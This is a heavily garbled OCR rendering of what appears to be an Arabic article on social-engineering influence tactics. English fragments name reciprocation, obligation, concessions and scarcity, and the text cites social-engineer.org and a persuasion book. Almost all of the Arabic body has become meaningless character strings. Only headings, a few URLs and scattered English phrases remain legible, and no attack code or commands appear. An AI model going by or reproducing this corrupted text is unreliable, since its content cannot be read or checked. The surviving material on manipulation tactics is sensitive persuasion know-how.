el n£ La (j^akjui J CjLi^lxJI ^ ^ Jc Dj^lll ^(scnsofy acuity} ^- c -^^>^^ j» ttilla^ cdjudis aj^j Jc cilj j£ 

.V ^1 > oL^jVI J J^ 4 ^ dlj£ ^jl <J jflJ L_fl jjoj jll j tiLilij J j Ai^JjolJ 

^jc J;J^I J (jl (j^-aJ jll CjL»^Icj luiaJi o^IjS ,^LaVl (j^aJ Jl L£-^jH ^LaJl J jj^all J dbuiii jJ jll ^5^Ua3I ^jAslSI 

Ls Ax*axl\ t . ilall J ^3lc t^jiLuLj (>JJJ^ .^LdloaVI J liHoalj S^aLIaII J liHajl ^ *aJ jl Ale ;^LaVlj j^Lii^ ^J^j-^^ LP U^V 

tilii JiLdlij .^1531 J 4_ijLai^. 4jUr> jLL» 20 cJ'^*^ diL^ jl*^J! ^JLu 4_jjjoo3I J jixil ^ji j^a 'L5^)JI <x-<iL^. J ^ i ail]| 
6 t^jj^all dUij ^(posture) ^j^l '(gestures) dUUjVI ^microexpressions <ia^ljj cjULo^JI 

^LJjVI tilt (j-a Jc (jj^J Jl ^^-^ J^Lil! jlijl .6 J^aaII iaLajVI ^\ jjl ^J^sJlj 4 Jaill! jlL (,^Sl\ iaLaj! £j>«aVrtl J^xa 

jjj^VIj tiLuij J AiiSJI 

-C5 jaij Ljajl jSl j t Jj^- c> t° Lu» Lc^ j di^jj^al ^1 iaifl (joJ 4jI t*Ui axj dj^j ^3 .microexpressions 

Jal l^Sij ^gjoijj ^a L_flljJC.Vl l^A .^jJ^k^U jjj^J ^jl (j^-AJ t flj£ C5J^J ^ ^ l^*^ J^ C^g^-^j Jc (JJJLA jJJtIj Cj^Xjoi L»Ajc 

,1^1^. ciUi (3^J UJJ J J^^)a1| ^fil J dxixJl jA J;!^! A^U A h^^^LoJl ,ti!3 J^. LlA J;}^! t— 1 jflJ (jl till ( ■ UJUJJ 

(Don't Act Insane-Be Flexible) L3>* tOjIaj (Jj^jj V - 

.^LaVl ^-jjli-'ft (j-a ^.1 j jA (j^>-a j ^xJjuox J j£ /'Aillk-a ^cjllj jJJ ^aJ <j-a j Ijlj^Jj Ijl^ <Juoij 

<LuIa ^^Lua Xa^a 
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^1 ^H^j ^UaVI t Jaxj V ^USVI jli <jj* J^j U^J^' ^-Ij^* 

L-fllAAVI la^jJa j CjLft£l3l cJ^ajll ^^-Sc j^la (jj^J •^Ji c _^cU»l^.Vl (Jjj V^ ati .A] jnln^ a j& La£ V (jjlaall/tjA^I 66.1pC. dll^a 

(Get in Touch with Yourself) J*^' - 

j ^^ic til^cLoaJ (jl 4 j£ a\ ciLuoij J^a^ ^J^] ^ J jC Ai^sc* .tiL ^j-aLiJl c V^ti Aixij £<^-^ <J^ fc^UiS j tAixij La J£ 

jli (jj^^ (jjill tililjV 41iac; lili tilijA^ ^ ^ — ^aJ! ^^alU ^UJ! ^LA\ ^ j^jJIj 

j^J ^jJal j jIjoixj jJjiaJ (^Ic (il^cLoiJ ^jl 1 £ j£ <Lj L^JC (ililal jC j ^UjoiVI AllJ ^^^ic (jj^S t4 m a JJ-al (JjLulj Uajoj j iklj 

(Influence Tactics) j^JI 

^^jllj J^tiJl Ailla a CAjSslI 4_ijLdJ ^LaiSVI ^ ^**^ . jjjUII ^aJlc ^ 1^. ^ L_flS Ja^J (j^Jj 'l^ajl J(g > nj jjj V ^ c5^kVl 

>c ^cU»l^.VI ^J" all ^iialUj C^jJll^xJl t^iC^L^xJl JL^.^)3Ij j£-^J|j ^jj^LluJlj ^a!)lcVI cJ^^J (J^ U^^ 1 ^^ L>^ f ^^'^"^ 

(Reciprocation) cP^W ^ 

^^ixj 11a ^^Ixj U 4i j*^ -l^-j uj^ cJ^^^ ^ u^^^ c> ^ (Reciprocation) s^ta 

Sj^i cU^i J "U^" ^ Q.u.^ cJ^J ^) t.niVi JS1 $15^000- $10^000 # ^ - 

^aLkjujVl ol^jl A^L^jI/oIjIj^ ji&l ^aA ^JjjJajlx^Jl jl ^JjjmiIjm^I AjAslSI ^j) L_ Ll^ Ijjoj ^jjjJ AjI .AL^lall (Jjoiij IjjjIjj (jjjmljn^l 

JjLoiaj (3^*^ ^ , ^ c ' ^3 j> j ^AjjLaall JLacV! ^ (Reciprocation) ^Wi^l unl ^jj 1* 
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"The Norm of Reciprocity" ul jj ^Ui^VI ^ .(Reciprocation) JS*1j 4£U J£ 

.J^ . http://media.pfeiffer.edu/lridener/courses/normrecp.html t> W^jj g^L? 

(jjii! diijl JPluuj £| ^Uil lj^j (1) [u^Ua^l (j-a ^1 i^jjiaj! jla J*aj cfUJl 4ilui ^ tjl^b Aialx^l jUuj jl 



t JlalU <LU_a3I _Ajala53l CjljqKll <j* ^c. jll Jc J1<JIj JLacI ^jj <jV Aj^Ui AjI^jI tLaLajl 



Reciprocity 



A 



Request 
Granted 



Give Something 
Away 



Make Your 
Request 



u 



j 



Indebted 
Feelings 



(Give Something Away) 1^ ^ Ja^l - 

Ia*J ^ill c-^^gJuJl .(S.^pJl) l^JS L_J jC-J-a jJjJl 4 jnjmjti ^Jakll (J^asu (jj^J (jl (j^J V ^ Ia*J (_£,ill S-f^^JuJl 

<jl£ jl J^-) ^'qVi^ll t — * ^^5^ J' ^S^cL-haII j 4_xua3l CjLg c-pasu t^^Ui j> t^Ld^. (Jj^j (y ^ 

V (S^^- C)* J 1 ^' Q ^ '^ S H O^J ^ J^all &-^J ^JJJ A-j*-nli CliUJaixJl (J^asu . ^ laj i a e-^^u* Jalilill jl ^jUll <J-^ JiLa la^JudJ P^gjuj 



<La^ (jl^ lit cJ^j ^ j^*-^ 3 jW-^j ^ "^Laa^ii ^jjj ciljl ; JjIjj diUjj^l l_j jILg cilia ^-*-a t . ixlll ^ ^li^ 

^ti^. l^J^J ^3 till j(g laJ ^jl 0^-<^ ^-jl (^5^- J 

JjlLd <JJl! Jc (Jj^^J ?V J t *^ 

(Create Indebted Feelings) j£>11a jll - 

j^jujI AsUj tl^Io <J jj^^J] Jj? ' ^ ♦ I— La§ .6^1^ <JC '--J^J (.5^ .4_L^kjaJl JjLojj jl 6^jla«_xi CjlaUaJ^ l^j j^>lklujj (JjjUII (j-<» 

jl j <^aLoiaI] 1^. J;!^ UJ^ ^ j^Wl L>^ JJ*^* .^J^ ^l (jl J^JU (jSjll Ajjla^. ^c^3 ^^>f^^ l!^^ <^j]l^Q Jc. J> ^aa^Luj 

jj^qMI cJ^-^- (j^ cJU^ aI^IslxJI J Jjuoij CjI^jjoJI (j-d AjAxJI t j^-VI ( ; uLaJI Jc j^. ja J1L<JIj <Lilx-<JI oi^ (JiLa (jxi <SiL<il .!>Ula 

l^jlS JU3I Jio *U^i J 

,a£jjoJI jl l1jL^1L<JI j^. CjI aujxll CjIc 



https://www.facebook.com/tibea2004 
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4_pLJl IjI-^I (j-a jj£I ^aLu&VI (j-a UJ-^ (j-a SAlLo jl AjlSU ^JaS s-Uac] .diLa jlx>Jl 

(Ask for What You Want) J*> U - 

Jll ^J£vol\ J <ia jlL<JI AjjLloj ^j-<i 1**^ 4Jl (j* Ij^ I^j ^-^-J ^'J 6 C5-^ J J^^W L — ^ L — ^ Lq Abulia J 

j ^ kSJ JjL aIslxujjj ;^ixjuj cJ^j .J j*^ ^ AijU a iklujj dja jll 11a J u^j '"For CFO Only" aJc. diajjaj 

4 jyU ^aJ a ^ 1 ga Jl 4il Al^J (jxa dbJajIlal Ul .^jJA^J (JjjUII (J^asU (iljJJj L-lA^J (jl 4_llc (jt£ 4iV ^llabG 4il 

.<j ^LSIl tiLij Jc jl£ ^ill JaxJI 

Asu "... j^jjuj ^Ij-* J ^ cs - ^ ^J-^ J^ lI**^ J <iLaUJj (j£3j c^Uu^l jjjJa^J llA lil ;^^)Jaj|" ;lgJ dlaa .Aa^ 

^3^- ^J^ 1 '" J^- J ^ (_^x»L»VI ^aJC^^ *--^J (jl ^ ^aJ J ^ ^ ^ (ilLlA Ciiajj ^t^iij Cilia i u 

4^<Jjuj ^aJ ( i uj t C— L1QJUJ ALaJl 4 J^Jl ^Uj^" i\ £ > nj*^ Cilia ^aJ t"^AjjaJ U I jic" ' m( ^l ( ill jfl tilllA ^aJJ dljl^ (>— Lia m( ^^ J^f 1 

. <J^.U! Jl 1 * iji c3jjll ^ 

"?laujjaj ^ o Jl Jj^al <l3 .J^aS ^lil ^J^xJ <JJj^JI ^jl ja3I jj^ ^jl jl dj^jl ."tilj^LaiJ Ul" 

.(JixJU 4_Lilx-<Jl J - ^>Q; (illi £J«^J L (J^Ual ^la^ ^JjjJaC. J t "I g L ^ - J^ 6 J^ 1 ^! ( „ ^ Jj c5^>^^ C ** ^ 

^C^ 1 UJ^ L^JJJ^^^ L>^ L>^ J^ 1 ^ .^t^ ^ (j/u'U cilalAAl J*-?^ ^ ^Vl^ jll ^UjoiVI j lilLj^ ^ Jc. (jj£ 

<j^aji3l jUalil j <^ jll J ^^ill j L_fl j3 jll .< fl^Jl "^jUaj" V (jl jLliC-VI J i^lj 6^1^ <Jaij cilllA .<J JJ*^J t^j^Axi 

.Ajjt-nia (jj£5 (jl ( ; laJ £5^tixJ! dAA .l^)il<i (jj^J (jl (j^J ^(^5-^ J J» J*^ 
^Llujlj ^aU^ll (J^J^ (jC- (?< w '1^ UJ^J 'C-H^^ S" 5 ^ J^*^^ ^ .^4* *^^^^ J ^^LlxJl £>i& (JjlS J I^JJ (iljl <^*^ Aj*-Uia 

JiuJU <LiljLxJI .(jj^v^l (JLoci J ^U^ll djlcljj^ll (j* Jal tili^l uj^J 111 j ^-*^A a ^> ^ s ^^^^^-V^ 6 ^ .u^^)^^ 

(Obligation) **l\/f\jiN\ I 

jl ; j jj^l t^^cLal^VI iajJJI (j-d lc jj t . ujuaj l&iLiJl Jl aJu 5-^JI jxAj jll cjUI j^-VI ^ 4} (Obligation) ^ 

.tilli Jc j>^iTqj V J <L<ilx-<JU ta^j J UaUjjl iaiijJ ^al j^VI tAjcUu^VI ^Lajli^!l (jUwJ J .^Cj jl SSC jl C_Li.l j 6 j£LkVl 

jj^j jl ^jl^j .till J^UI c_jU3I ^cjL ^li ^ill 6(j-£i^l3 ^ jUJI c_jU3I ^ia Ji« l Ujun jj^j jl ^jl^j (Obligation) ^^Vl 
^ j^-il Cj^U jii£l jA (Obligation) ^ j^Wl .til^L^j ^al jiilVU I jjx-^j ^juj jij J diil^ ^ > ^ CjUj jls^ ciLJaju ^ l^cU^lxi 

^■AaJ ^a3 6 JUuJl C-l^f^ Js- -C5^^^ ^AxJl (j>» O^lilujVI (S^- (j^ ^J^*-^ 3 Clilc. J (ObHgatiOfl) ^ J^i^ ^ ^Vlml U-kajl <Lj 
Uui lij^ J^ clA^J 6 *^^>f^^ t * >1 * 1 ^ l\l I Uak Aixij (jl 1^. (J&^l (j-d L_J jLojVI IaA .( ■ lilall J J-<»VI I^A ^jIj ^aJ t^akjoJl 

CjUi jlx-<Jl ^j>» 6 jjir > r\ ^JaS Jc <J jj^^JI J] C^^J^ (jl (j^ t^Lia - ^ (J^^ ^1*^ lij (j£lj .1^^- t 0 ^ J^.Ul (jjjLai^.VI ^-llj 

^4^31 

"?tiL ^j^aLiJl ^Lkl! AijC. Jl ci^-^ (jl clA^ cJ^ (jj^. i jl j" 6 Jld lllJj ^jj^Jjoj HxiJl (Jjjiall J ^-AxJl ^I>1^LujV JUg 

I^Xali AjjujLL) 4-Lujj j (jj^j (jl (j£-4j c (5 j^l cdiA JI4 SjjsL^ AjJI^o 

^VjA Ja" tdlla c _ 5 Juoij ^J^5J AsUj Jj^^ ^Ic- J cJ^-^VI (j-a (j^j^l jjj^II (J^a*J Cllilj <jL£LaiVI L_ala j>» < . n£ ^ (j-d dlJjjal LdAlc 
^ill ^AaIIj jjoj ^.jVl Jc 4<J jaJ ^UjI jl JU£LojVI t jx» JliSal I lil jlaill (J^axj" .^likl Ai^Ulb ?til3U]al 

"?cil3i£ ^1 ;UUJi jULj ^1 .jjliL j^VI Ul ^ " dJaj ^^£31 CixjU ^ 

" JjjAsuj ^iil "tdalk tikuJa j 6"c_jUj^3I (jU^JJ ^-il £ jjJa jxi (jxi S^Stlft dbuJ ^^jil j . Jlaial ^VjA t^xi" ;JljVl< nVt 4ila j-ft 

. m ?J-aJI liA ^C lj*l^l cilllalal (jj^J JA" ." Jjj^ ^ Jl Axj JUL! ikl ^3 Ui" ;Ui 

."^IUa (jj^L I ^jI J dJlij tl^ijl ^ JLl CajIS ^3" CiaLialj ."cilUA AjjIj J£ I j±^1 ^ t^su ojl" ;JLSluiVI Aila 
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iilj£ oj jl£ )ij Loo J^Loij! ^pilj ^jj J£ gy^-*^ ^ w ^ J ^ ^ tliuiA." . "1 - ^1 ojjt.^ SjjJ Ul 6^au tol" ;Uj 

<LqJ>^ <x^I j-q ^ jl L— li£ j AjjJdJl ^jl jaII o^J^Jl £c-al^)Jl j-a <C <oi jc ^^jJaUJl ^ jfwjVl (j^akjai J] duAaJ j di jC^ ^3 .J^Loi-a 

t . nA j J£jau ^-^pJL ^>*jail .1 fr-alc* *LojujI 4-3 Jj Cj^aa (^^-^ tD^A CjLa jlx-oJl 

, jjjUII dlaJ £3 jll V UJ-^ C5"^ ^^-^ L_fl^Jl L_iL ^iil jjuj ^jaflJ Cjl^ al a all j>» ^1 J^VI oifc 

J^ 44JI JjsAjaj j5 Ln^ ^pix j (JjjUIU jLud^VI .^IjSJVI (3^ J ^JuJ \^ j& J-aLu jl t . iaj Lo£ jjj^VI <-Wc- :^^^t SjpIIJI 

# til&L^j ^al jiilVL (_3^d u' o^** t<LaL^ *\\\ JiLa I jjt > ^> jl£ j] 
tJIS dip. ^"Persuasion and How To Influence Others" jt ^ J aLUI 6 1a j£i Cj jj jLuii]! ^Jl*]| 

CljUjUaJ Jla 1 6 jj» k <~t (jlijj . X 1 8 J-^*-* ^clLLa ^^)±il3 la^JudJ e>\^j jLmjl 4 jjalx-aJl jjjfaJ^aVI j^jL^oll ^^1^ A AiaLa] l^j" 

JjuJjl t — * 6 <J A-L^kjoJl S^jLl-oII CjUiUaJ (J^asu jLaij] 4jI Ll^." .Z35 J) AJjoiJ LliJ^J L_flcLjaJ cA-L^a^ >'Ml 6^jlx-<Jl 

JiLd la^JudJ ^(^^joi .L^.^)^-<i 11a t flj£ Ja^.V .Aj ^ a <ol\ Ld^a ^^jJa^Jlj 4_1aL^J jl tlaL^a ^ILlI ^^>^ .llljaj ^VIjjuJ U» ^ uj > nj LdAjc 

^cjIjj l^^j^ £y clA^ t * a ^ (J^j^j ^^)^ ^^>^ (i .^^V^ (^3^*^ Cy* \^)J*-^ J (JIjjuj 
LdAic .^al jlilVI JC^-^ C5^J^ ^ ^ (3^^ ^ t^SUA (JU J^stjai till ^l^>^.j cJj^ 

till 4_bau3L 

^j" ^ajli L— Lla l^jjlj ^^jl! 4^^.U3l ^a dl^li ^.1 ^jl£ \ ^-llj^a J±i Aj\A Aj^Jl Ui^C .SjLja ^Lx»l^)iJ <Ll^o 

jo ^ j3U£ j& 6 jUo c^illj PDF J^^j www.products.com ^ > ^n ^-A^ ^ j^j 

i m j^Vl liA ."J^J^ ^ jf^VI J^ij jwww.products.com/catalog.pdf -M c> 

(Concession) 4^uJL CjIJLuaI/ (<£B ^yulL) CjV Jiail i_ 
- (^^1^211 '0° J*^" "J j^^'" 6 («c^ of conceding) J J-^t '(Concession) ^ ^ 

Do wwto o^^rs as you would ) ^ljL»ls L£ ^USI J^lo " oj^J^ ^%^J f^d^ U' ■ lWL 

Iaia jl 'V^^ cJjLLa ^l. ^ u > i l 4 i£ dj c _^cLal^.Vl (Jjj1^-a3I (have them do unto you 

jSaiuj L^al ^luu t A-iLSj (Concession) ^VjUjU 4-iuiLuil ^jUa ^Ua 

^> J*^!^ 11a j 4 JjUslI ^ Uj ^ jxj ;(t*L 4^UJI CjVjliill 4_i^ouj ^S) Label your concessions 

4 JUL jji> ^jj J^Lk ^> I^jj jl :(JUL <L»UJI ^j^J j <Jtk*) Demand and define reciprocity 

tillij Jail J;ii-!l lV^^ cJ^-^- L>^ JJ 1 ^^ 6 ^ a ^ Aij^la ,<JjtLJ! ^^^^joi ^^^ic <J jj^^J! (J^ajS j-a ^jjj I^A 

jj£j "jLUUI jx» <JLk" cjVjLj ^al^kiujl b^Laj ;(<Lu^JI cjVjliill ^j^j) Make contingent concessions 

^L V Jjllill jl ligJ <;iic.l La CjV jLj f^ 1 ^^ ^l^-luil C5 ic du£ j) SjLuj^U ^LiaJ Lalic jl 4_jJaikla Aillll 

4 ^L >i a L-llL J ja. j ^a^C ^-a 4-^LLaJ jl 6^JJ L_fl^Jl Jl ^Uac] j!>lk j-a ." J 4j.t.>u]L Ljjai j» jVI" ^ jLjj 

> V^ll li^ ^-a !^ AjjS <Iajlj ^Lj j^-aJ 

^Ldl ^aii^ .LjUil J J^tia JUL s j^a ; (Vij > ;^L cjV jLj ^^j) Make concessions in installments 

La (j ui jl£ lil 4 JiLalLj / flUajoll AjI^J J <cL^.jV LcLol^.1 ^Lt!i3l ^aJ tdlij lij^st_xi La ^akjuj Jx3 li] 4iL jj^stjaiJ 

AjjL ^^a-Lua Xa^a 
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jfL t^ljll j& Ia& jVj .^bB ^IjjJVb j*Aj ♦ ^ t^jLai^l! j\ (jiajlijll (jlilil J O^-^ jl JjlUlb -»ta 

4tiL 4 > <a1 ^ CjV jbj £-a "JaLaiS!" Jc lgi*-a aJ .Aalj CllSj J jj^ ( ; CjV jbj j-a 4i La lS^ jL J* j ^1 

^^jjujj aj^jjI) Jc; JaUall d£j3l jc 5LJS aj jj La i^IUaj JJSJt 

^ hVu nt Sf Luilj ^liaJL nVI 

<j£-aj ^abll ^^C-LalaVI (Jjj V^ a\\ -( ^cLala.VI (jjjAi^-all j ' j^a jli-all tdjlx-UxJl ^jAla <Jj3 j-a L^J^ lIjI jLiLaVl/CljV jl^ill 

<U jl^-a <j!>ta. j-a Liajl j£3 j jj^a-VI <J^ j* *^^ c ' J-^J^ J*^ 4-lC-ibJt <La jLLa Ja£3 (JjjJ Aj jj^slSI <C^i3l i>A& ^hVluil S$.Lui]j ^hVlml 
4_lC.Lala.VI <joj^J1 CjbjflJ j-a AaAaJl £-a Ala. J^-*^ * J» ^ JlLalb <Lalx-aJl j jLlLaVI dlljl^-a .LaLaJ L_fl3 ^a-all Jc- Sjj-iUull 

/ ■ Aj£ll li& CliL^jj^a Jab dbaiS jj 

aJl>1$1\ CjVL^V) 

Igil .^^fill jjCAi jjiJl £-a 4_iijlg_ll CIjVL^jVI <J^-^ j* ^QJ^ J*^ J jblJt J (JjjUII j-a AjAxJI Ja jIjoj 4jqj^ Jc <JLLa 
jj£l jir > ^->1 L_llLa ^a (jlajC ^a^flJ L_JUaJl (Jj^ J . L-ALa (J^aSj V jl (j^aauuJl 4_ia jj Asu dlV jbj < T lu^l 4 \-y f\\ jjiui\ ^AaJLujJ 

L-lllall j-a <J j^ll <jJajC 

M ?LLjJ 4jj^JI 4^la*JI J] jVj^ 200 4 l)1 6^ i> M 
$ 20 ^J^* 2^ ^jLula2) o^-aj ^Jl ^ JJ^I f J J^-A^ ^ A t ajSH1| 4Jjj ) j-uul (JJiil (J-uUll 

.jVj^ 200 <A#I c> 

-C5 JU3I Jajl jll J^Lk ^> AJc jjkJl ciljLaJ .JjA AiL^ ^ill jULaJl ^ j^Sa ^illj j^l JLla 

http://ezinearticlesxom/?How-to-Negotiate-the-Salary-Using-the-Power-of-th^ 

« 20^000 6 j*- lP^s 'u"V> .15 '000 $ lU^j Jj^ c>j^» »^ ^ ^ jiiJi .24^000 $ 

^jllall jl ^ L-UjuJI .$ 17000 C5^j Sjbj JjLaJ jxAi jb^Vl J ^jllaJl jli 4<!UJl oAA J . JjlUlL ^ JL aJ\ 

£a ^L3l L . jl (jVI ( ; lilaJJ jUst-aJ! 11a . JiLalL <Lalx-a3l ^cl j3 j-a S^C-IS J J^-J ( ; Ujuj cJ^^ ^>*Aj ^ 

. j^j jblal 

t*U <-aj3 Cjli jt J jUSlI cilj^aJ V .^llall JJ LajS Vjlli ^ jl ( . laJ tjVl J^ CllJuaS jj jll ^^UJl ^ ^ JUJI jA La£ 

.Ala. jLil^l L_bal£ a ^3 jl 

jj£j jl .LusjI ^jjj-uaJl ^aiiS j-a jl cAi^UJl c<AjJl Jlij jl tiU ( # n< nj jl 4JLiu j^ ^j^J Jblal fUaP j c^bu^j qmAIq ^ 
jj£j jl j£-aj 4ci!2j j tAak- jjjaJl ,J-4*J! uLuoj jA Aak- jjjxSI j cufl^Jl I^A J-4 tiL A tn\\\\ 4JlLaJl j JblaVI j£ <J^^ jjl tilUA 

.tikij J l±^ S jJal CjVjLuJI Sbl 

(Scarcity) Sj^l ^ 

."Sjii 4JU jl ;<d J^ Miriam Webster's J (scarcity) ^ 
dj^aJ diia. ^aIU^ cjjjjj jjj£J3 "(The Psychology of Influence of Persuasion) g^Vtj j^^l l>^^ f^" J 

Lai 4_La£ dli 

„ Jj3 j^ l^ilc j£j ^aJ jll j dili ^iJ^aJ l^jli 1 g *-iL^aJ ^jj Asu ^3 jl Aj-a£Jl iliil 

^jj t_fl jjoi tiljl J t . \uA\ j& a l^_ilc. J jj^aJ! L-Jxj ga]| j>» jl tftj^U tftj^U lil 4_ijiLa. jj£I ^a^)i3lj ^LloiVI AaJ La Lllc. (JjjUII 

A£jj^3I J ^lla jj£ gfuoJ L_fl jjoj" j 4 M ( yi3l Jc^ Jsia ^Ll 3" t'Uaiia S^j^ua SAal" 4 ?? ja.l ^jj" c_J <liLa ^JoliVI CjL^VIj ( Lau^all 
e (^^)a.] 6^a bij3 I jjj jl (_^ill ^clLall j-a A t ^>^> Jc. (J jj^ail ^LaiVl ^J<a> j-a ^ j^3l Jc (JjjUII (_^^>*J jll <JjLoj^)3I "^jbl! 

c5^>^l i— iLpi& CjLLa£3l ! jVI (3^^" ^IjW*^ uIaIIj (JjjaaVI j& CjIx-uxJI (jLjuj J (scarcity) SjAill ^lAajjojl 

toj^VI ^-jjVI J .4_nstjai djli ^clLa j^» SjJj^S ojliil oAajtla dlblA-aj Jc <J jj^aJ! jl 4 M 4_ijLa^a Ajt-LS Jc J - gaaJ L_fl jjoj JjVI Jj^laJl" 
L— llS [jAlliij] jl ^alicl j^J" tljjlobaLaJ j^j 4 jjjoijj^ jjjoLia Jj^J ^— ^ .c5j J N >f * 1 J^*^^ <jojjLuJI oAA dj^Ja 

.cllblA-aiU (jflAS ^ >Vimi liil j ;1 JjjjI IAjj AjAiJl aUI lAA l^iti^ jll CjI^Ia^VI lAaC; 

http://www.gamasutra.com/php-bin/news index.php?story= 13297 

,(JjJall ^A^ll Jc l^J 1 a\ a jj^l <*-fl ^juj jji^l^Jjoa-all j-a (JjIS jli tl gjW. JJ^x-ll lS^-^I j^ ^' CliLalLa]! oAA jl ^^)a-AJ 
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Ia& ^ ^JjojVI *LA^-J J g ^1 *n] ^ali AsU ^a- Clll^ 4c_Ua3 jl h'nVI ^k CjIjUjoj ^jJaJUj lAa. <jJai__wa (Jj£j <--- J--i jLljujVI .(J--^ 

# £tJjt__l ^k 1 at-il^a ^ Aa.V <jl C-ll-i aJ <^^J (JpUaVI ^^-Ic ^ J^jJ UJ^ 

j5£V (J»n^^ ^ajJ AjtjJa j ^ali (j^C-Vl 1a& L>* J"^' UJ"^ £^ u!^ CT^Wj Jf^*^ L_flLai <j!^La. <j-a dLt-ilxJl Cixijjl 

,L_J jLujVI 1a& ^lAaJjuAj CllljLijuJl (j-a J;!!^ £iJ <aij^ ^aJ (j£3 j ttilli L_flLuL&l ^ j£ dJ <JjjU13 t flj£ (Jc-Loljl L— lj£ La .^te^ (j-a 

AjcI a"\-\ VI ^it-Lall ajL^VI jAaJ .ajlill CiLaJ Ia) jAiil jU^Vl (.> yi hi (j£aj 4_iC.Lua.VI Cl_lAa.VI 

(^jII j C5 ilwJ Cl_AaJ djU^lc] £_-a 4 lafoll i>A& lg__.ja_J t^j^lcVl <JW-* A JJ-^ 6 ^ c_f* £^J^ ^ ^•--^■Vl i>A& jjjJaaJ SjjjL-alaJl 

4jJ» mi dlli ^acUa-all oAA (jl jjjL_ali ^ali La Lllc. .LLa. 4_ilc La-a VUt.uijl lal] jj| ^ J. 1ir >? ' 1 ^ (j-* ^—^J^ ^ 

http://www.social-engineer.org/wiki/archives/Scarcity/Scarcity-Advert^ 

.(The launch is limited access) ^ M J j^^ cj^JI 
.(The application is not public and only limited) Jaia ^j^j ^ J^ksll 
.(Promoters are handpicked and limited) oPj^*j o^j^ 

The e-book is free to those lucky enough to be chosen to come 

^ la ll] iaia j l^a. L-Jxj^a CjA^JI 11a ^1 J (jU UJ^A^ ^—J^^^ L^^J^ L>^ <-S^ UJ^ 6jAi3l a laJLujJ ialaill dAA J£ 

ji-ojj t5 l&Vl L^^^ ■ LS^ (jjl^Jl U^Uua.1 (j£lA\ tjte. Au\a (j L^ajaVl) Aj^iill ^Saill 

c^jjjaJl (JUJI <U! jj ^jj ;^a-kjJa!i3l ^jiaiaJ ,4_ijjau3l 4 ajjli (_>^ lailaJ (J\ jj V CIjUjI^JI ^jl Cilia CjUjI^JI AiKj ^ijjjj <JUJ3 Sjjj^IxJ! 

^aJJ ^^jll CjUjI^II (JjS ^ li^ j& ^aL^JI C-jLalAaJLujl l^J Jjl ^<J1 ^aJj^aJ ^j-d ^ ^ > *aJ3 V I I— iLluib.ni ^j-d <C jU^i^ 

^Lj c^lxJl (j-^i L_lAi3l ^jl ^Ijj L ; UjuJI DjAill ,^>jI£JI lafllaJ djjj^IaII 4_xuk3l ^UjjIj t^jl ^<J| dj^Jj .1 ^ 1 ^J 1 gaaJ 

^^llajl ^j-d ^)-^^ 

Aa.lj J-^^ <JjK ^ ^fl 4_iC.Uua.VI oj-ull Jl-^^j 0-U*J .Sj-illl - iklujJ La I 4_ba jJl dj^lcli-Jl jUa! ^ tLjajl 

(J jj__a__Jl £yz dl3 jj t^Jalla ^jjjLojI ^^ic l-la. jauLa <j| ^^ic L-fl j > -aJJ ^jl ^^>-a_3 (j-U»J 4<JLLa_l <J_Ujuj ^gic _-<-<-_)___ I ^ 

^_J| Cia jll Jsca-J <ju_4_ dl_ jll j tAjt-a C__ jll O-- 1 *^ ^L____J j Aj_J (jj^J ^-a d_9 jll ^Ljaa ^aJlC- J^)JJ ^ JaslSI 1 Jl£> .aJc 

^ t_Ui ^a A-ajS <! ^jl j-UJ <ai_j 

^>a_La3l jax. jj (jJ-Jl (jJJulJl (j-a j^*^ ujj ^jjjUII ^j-a (jl L .t__J-_- Dj-iiSl a) la-L a) (Jj^-a (jc 4j L__C.!^j3l (j-LaJ ^aLa_AVl 

^jl Cilia. dlx-iixJl ^j-Lba <JjS ^j-a ^a£_ALa_i ^aJJ LaAiC ^^llaa-a I J-J^J ^-ili c__U3 ^-aj tdil *-U<a.l ^j-lLa ^aLa_Al 6J--J Aa. jj V LaAiC 
^>-^ '^J- 0 - <J J 1 -aaJI C-Jatjua ^aA La oLajl 4_iC.^)3l ^jjjUll til^aJi ^^jll 4_ic.^)3l ^jli t^a j-a*-l (^gic .6jA_ ^J^l_n.l 

.c_13i£ ^LaiAVI ^g-C (Ji-aii lAA 

La LJlc. <___La3l 4_a.LaJl oA^J (j-U»J , jlj_Jl x_u-a (jLjoj ^-LaJVL J^x-~*i (3---- ^^Lala.VI 4_uiA_£_l lIiISLloi 6jA_!l ^Ia__11uj1 ^ali La 
^lAa_LajL SaIc c_Ua ^alij .4-ia_-_a_l <-aALaJl CliLa jlx-all ^£_a_i!lj ^^LalaVl (Jjj V^ a\\ ^-LajoJl j 4 jlj_Jl ^_u_a A-iLaC ^ L__C.!>l__l (^AjJ 

JjS ^ Jj-__j! tdiix-uj ajj-JI t^Lall jjaJI" '.*<j^ J Jla t JLull ^gic .(scarcity) * j^j (authority) * cl^ 
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c_j jUaxJlj Jlaxjll (j* Uxlaj Ljajj-a <jl£ 4il <JlSj -c^Jj-^V^ a l£ uj a ^1^1 j ^1 (jl J <J-*J ALjUl ^ Jf^l <UaxJ Ajj^Ixx* 

. j^U j ^> j& da jllj 4.JI dj^aall ^UJI j^-<^ ^ j^j ls^\ <^UJI (jl^j 11a" . j^jjVI ^jj JjS 11a - *aj 

(jl (j£-aJ <JC- jll £>iA j *Uc. jll (3^aJ oj^ll 4(jjjllaJl UK _l£Ufl ^a * ^ lJ*-^ L$^^^ £5^Ua1I x-g a lall^ a Sj*i3 ^I^JjojI (j£-aJ 

. C^j ^ aAc jl j£ iUJV U 

^jJajlj C5 l^.jj (jxa (3"^ C^J L^^J^ L-Ajuj cJ^J .^)&-^ C5^3^ L>* ^J^W a ^ ^ U»,ljc. lja*j^ li& J dlJJ ^13 

jj^VI ^.ilc-j ^ j^lll j^-*-^ Of* .s-UiJI ^ IaIjj <J-axll t . ^ J| tiUjj ^^Jc (jlSj ^aaJll ^SL <j| j^UI £jU aA 

<Llkl L_3 \i A £L t>vW V (j^ ^iU-bVU .ASilc Jl (_£^l C*lJiI Ajcljj (JJjuJI jIxjujU flc C5 lc J J .(Jjl-N rtti 

.1^ * (jlS J "^^Jjoj" LgJ ^-C-^J 6 l-l^- 

"?lgj U^J Jjjj 4<cUll dj ja S^tc <*-fliijJ JIjjuJI ae-laJ J&^ai tcfjjAaJ) (j* ^ta^ £^aJ ^xj 

.L£-^ (jj.Vu jaJ 11a (j^lj 4(jj.Vu t^i J£l J*^J^ 400 (J^ J^ 3 6 ^ C-LoS ;^jujI" cJj^J ^ J^^^ ^ UJ^ 

dlSjC .A^^ dljou] C5 l^.jj (j^Jj 4<JC.^)3l £>i& ^J^^ ^ .U^^-^ 1 6J-d llA <j| (JjS ^jxi l^J JIS j J;lkVl (jj gall 6jl 

